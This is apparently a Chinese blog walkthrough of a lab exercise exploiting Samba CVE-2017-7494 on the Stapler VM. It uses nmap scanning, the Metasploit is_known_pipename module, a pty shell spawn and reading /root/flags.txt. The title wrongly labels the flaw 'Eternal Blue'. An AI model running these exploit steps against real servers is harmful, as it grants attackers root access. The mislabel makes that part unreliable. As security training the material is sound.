漏洞描述

1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问

2. 共享文件拥有写入权限

3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间的版本。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,使服务器加载并执行它。只需要一个可写入的Samba用户权限就可以利用该漏洞以root身份执行任意代码。

实验环境

https://pan.baidu.com/s/1AMd3BwbNjibv0TIcJjAFMw    靶机环境

靶机环境:Stapler.zip中包含虚拟机导入文件,请使用virtual-box加载启动。环境中有CVE-2017-7494相应的漏洞。(网卡模式设置为NAT模式或Bridge【桥接】模式--和攻击环境设置一样的模式即可)

攻击环境:Kali-linxu,使用virtual-box启动。(网卡模式设置为NAT模式或Bridge【桥接】模式--和靶机环境设置一样的模式即可)

实验目的:读取靶机环境中的/root/flags.txt文件

说明:靶机环境和攻击环境为两台虚拟机,启动并保证两台机器互联互通。

实验步骤

一、 Ka li Linux内通过Nmap或netdiscover扫描同网段其他主机

#假设网段为 192.168.1.0
sudo nmap -sP -PI -PT 192.168.1.0/24

二、使用Nmap工具扫描目标IP地址,发现其开放端口

#扫描目标IP地址
nmap -sV 192.168.60.50

Kali 启动metasploit服务

 kali linux 2.0 本身已内置metasploit,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。

kali 2.0中启动带数据库支持的msf方式

#首先启动postgresql数据库
/etc/init.d/postgresql start;
或者
service postgresql start; #初始化MSF数据库(关键步骤!)
msfdb init; #运行msfconsole
msfconsole; #在msf中查看数据库连接状态
db_status #将postgresql数据库设置开机自启
update-rc.d postgresql enable

漏洞利用过程

在msfconsole使用 search 命令搜索CVE-2017-7494相关攻击模块

#搜索CVE-2017-7494攻击模块
search 2017-7494

可以看到 exploit/linux/samba/is_known_pipename 攻击模块

加载攻击模块

#加载攻击模块
use exploit/linux/samba/is_known_pipename

查看攻击模块中需要配置的参数

#查看需要设置的参数
show options

RHOST代表要攻击的目标IP地址

RPORT代表攻击目标的端口号

设置参数进行攻击

#设置攻击目标的IP
set rhost 192.168.60.50 #设置攻击目标的端口
set rport 445

#开始攻击
exploit

run

获取命令行交互窗口

使用python脚本获得交互命令行窗口

#获取命令行交互窗口
python -c "import pty; pty.spawn('/bin/bash')"

python3 -c 'import pty;pty.spawn("/bin/bash")'

获取目标文件

#获取查看目标文件
cat /root/flags.txt

完成攻击实验测试!!

Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验的更多相关文章

  1. CVE-2019-0708_RDP漏洞利用

    可以说是2019年影响比较大的一个漏洞了, 简述下这个漏洞: Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广如: windows2003.windows2008.w ...

  2. 永恒之蓝ms17_010漏洞复现

    1.什么是永恒之蓝 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机. 2.SMB协议 SM ...

  3. EternalBlue永恒之蓝漏洞复现

    EternalBlue漏洞复现 1.    实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010.该漏洞利用工具由一个名为”影子经济人”( ...

  4. “永恒之蓝"漏洞的紧急应对--毕业生必看

    早上6点多起床了,第一次起这么早,昨天晚上12点多,看到了一则紧急通知,勒索软件通过微软"永恒之蓝"漏洞针对教育网进行了大规模的攻击,而且有很多同学中招.中招后的结果如下图所示. ...

  5. Metasploit(msf)利用ms17_010(永恒之蓝)出现Encoding::UndefinedConversionError问题

    Metasploit利用ms17_010(永恒之蓝) 利用流程 先确保目标靶机和kali处于同一网段,可以互相Ping通 目标靶机防火墙关闭,开启了445端口 输入search ms17_010 搜索 ...

  6. SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议

    SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议 实验环境: Kali msf以及wireshark Win7开启网络共享(SMB协议) 实验步骤: 1.查看本机数据库是否开启,发现数 ...

  7. php伪协议,利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本, 设置allow_url_fopen ...

  8. SMB溢出漏洞所需的SMB协议内容

    来一张wireshark抓下的SMB包,再解读一下. 一个包的内容有 网卡 IPV4 TCP NetBIOS SMB SMB header SMB Command: xxx Error class: ...

  9. Windows漏洞利用 ms17-010

    漏洞名称 SMB 远程命令执行漏洞(ms17-010) 漏洞描述 继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 ...

随机推荐

  1. Linux_yum仓库管理

    一.yum配置本地仓库 1.挂载光盘 [root@localhost ~]# mount /dev/sr0 /mnt/ [root@localhost ~]# df -hT 文件系统 类型 容量 已用 ...

  2. Linux进阶之软件管理

    本节内容 一.rpm:管理linux软件程序的 特点:安装方便 不能解决依赖关系 1.安装软件: -i: -v: -h: rpm -ivh 包名 2.卸载软件 -e: 清楚 rpm -e 程序名 3. ...

  3. shell基础之exit,break,continue

    exit代码: 1 #!/bin/bash 2 echo "Is it morning? Please answer yes or no." 3 read YES_OR_NO 4 ...

  4. Python中PyQuery库的使用

    pyquery库是jQuery的Python实现,可以用于解析HTML网页内容,我个人写过的一些抓取网页数据的脚本就是用它来解析html获取数据的. 它的官方文档地址是:http://packages ...

  5. openresty 学习笔记二:获取请求数据

    openresty 学习笔记二:获取请求数据 openresty 获取POST或者GET的请求参数.这个是要用openresty 做接口必须要做的事情.这里分几种类型:GET,POST(urlenco ...

  6. Error attempting to get column from result set

    当使用mybatis plus3.2.0+springboot2.1.1 报错 Error attempting to get column from result set 1.一般出现这种问题,最简 ...

  7. 【Azure Developer】使用 Python SDK连接Azure Storage Account, 计算Blob大小代码示例

    问题描述 在微软云环境中,使用python SDK连接存储账号(Storage Account)需要计算Blob大小?虽然Azure提供了一个专用工具Azure Storage Explorer可以统 ...

  8. js中reduce用法详解

    介绍reduce reduce() 方法接收一个函数作为累加器,reduce 为数组中的每一个元素依次执行回调函数,不包括数组中被删除或从未被赋值的元素,接受四个参数:初始值(上一次回调的返回值),当 ...

  9. GPU上的图像和信号处理

    GPU上的图像和信号处理 NVIDIA Performance Primitives(NPP)库提供GPU加速的图像,视频和信号处理功能,其执行速度比仅CPU实施快30倍.拥有5000多个用于图像和信 ...

  10. HarmonyOS技术特性

    HarmonyOS技术特性 硬件互助,资源共享 多种设备之间能够实现硬件互助.资源共享,依赖的关键技术包括分布式软总线.分布式设备虚拟化.分布式数据管理.分布式任务调度等. 分布式软总线 分布式软总线 ...